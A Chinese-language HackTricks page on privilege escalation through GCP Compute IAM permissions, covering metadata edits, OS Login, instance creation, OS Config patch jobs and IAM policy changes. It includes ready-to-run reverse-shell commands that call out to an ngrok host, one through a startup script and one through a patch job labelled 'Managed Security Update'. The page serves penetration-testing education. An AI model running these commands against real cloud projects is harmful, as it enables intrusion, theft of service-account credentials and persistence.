GCP - Compute Privesc

支持 HackTricks

Compute

有关 GCP 中 Compute 和 VPC(网络)的更多信息,请查看:

GCP - Compute Enum

请注意,要执行所有需要修改实例元数据的权限提升攻击(如添加新用户和 SSH 密钥),您需要对附加到实例的服务账户具有 actAs 权限,即使服务账户已经附加!

compute.projects.setCommonInstanceMetadata

通过该权限,您可以修改一个实例元数据信息,并更改用户的授权密钥,或创建一个具有 sudo 权限的新用户。因此,您将能够通过 SSH 进入任何 VM 实例并窃取实例正在运行的 GCP 服务账户。 限制:

  • 请注意,默认情况下,在 VM 实例中运行的 GCP 服务账户具有非常有限的范围

  • 您需要能够联系 SSH 服务器以登录

有关如何利用此权限的更多信息,请查看:

GCP - Add Custom SSH Metadata

您还可以通过添加新的启动脚本并重启实例来执行此攻击:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

此权限赋予与之前权限相同的特权,但仅针对特定实例,而不是整个项目。与前一部分相同的漏洞和限制适用

compute.instances.setIamPolicy

这种权限将允许您授予自己具有之前权限的角色并利用它们提升特权。

compute.instances.osLogin

如果实例中启用了OSLogin,则使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您在实例内没有root权限**。

为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有iam.serviceAccounts.actAs权限。

compute.instances.osAdminLogin

如果实例中启用了OSLogin,则使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您将在实例内拥有root权限**。

为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有iam.serviceAccounts.actAs权限。

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

可以创建一个分配了服务账户的虚拟机并窃取该服务账户的令牌,通过访问元数据来提升特权。

此方法的利用脚本可以在这里找到。

osconfig.patchDeployments.create | osconfig.patchJobs.exec

如果您拥有**osconfig.patchDeployments.createosconfig.patchJobs.exec**权限,您可以创建一个补丁作业或部署。这将使您能够在环境中横向移动,并在项目内的所有计算实例上获得代码执行权限。

请注意,目前您不需要对附加到实例的SA拥有actAs权限

如果您想手动利用此漏洞,您需要创建一个补丁作业 部署 要运行补丁作业:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

要部署补丁部署:

gcloud compute os-config patch-deployments create <name> ...

该工具 patchy 过去可以用于利用此错误配置(但现在无法使用)。

攻击者也可以利用此进行持久化。

compute.machineImages.setIamPolicy

授予自己额外权限 以访问计算镜像。

compute.snapshots.setIamPolicy

授予自己额外权限 以访问磁盘快照。

compute.disks.setIamPolicy

授予自己额外权限 以访问磁盘。

绕过访问范围

通过此链接,您可以找到一些 尝试绕过访问范围的想法

GCP 计算实例中的本地权限提升

GCP - local privilege escalation ssh pivoting

参考文献

支持 HackTricks

Last updated